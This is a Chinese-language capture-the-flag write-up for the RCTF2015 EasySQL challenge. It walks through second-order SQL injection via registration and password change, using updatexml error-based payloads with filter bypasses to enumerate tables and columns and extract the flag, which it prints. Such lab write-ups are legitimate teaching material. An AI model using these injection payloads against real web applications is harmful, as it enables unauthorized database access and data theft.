RCTF2015EasySQL
知识点
二次注入、报错注入
解题
打开题目,看到的是login和register,在register.php那里进行fuzz测试


对username,password,email 进行fuzz,发现过滤了:
substr 、 order by 、sleep、ascii、mid、like、ord、left、空格、/**/等
注册的时候试一下双引号/单引号

发现可以成功注册,然后在修改密码那里进行密码修改:


发现报错了,可以猜想一下后台的语句是:
1 | update users set password='xxxx' where username="xxxx" and pwd='202cb962ac59075b964b07152d234b70' |
可以判断是二次注入+报错注入了
走流程:
爆表:
myangs”||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.columns)where(table_schema=database())),0x7e),1))#

看到flag表(这里因为经过测试flag表里面没有Flag,就不重复写了)
爆字段名:
flag在users里面,我们来爆破users的字段名:
myangs”||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name=’users’)&&(column_name)regexp(‘^r’))),1))#

这里用regexp来匹配,因为group_concat()显示的字符是有限的, 我们尽可能去显示有用的信息。
爆值:
myangs”||(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp(‘^f’))),1))#

可以看到,只能爆破出一部分,还是因为长度限制。那我们就逆序输出一下,然后拼接,这里用到逆序函数 reverse()。
myangs”||(updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp(‘^f’)))),1))#

然后反转一下,直接用python写一个

然后拼接一下:
flag{245efb08-7717-4eaf-a4d9-9b59784e80d5}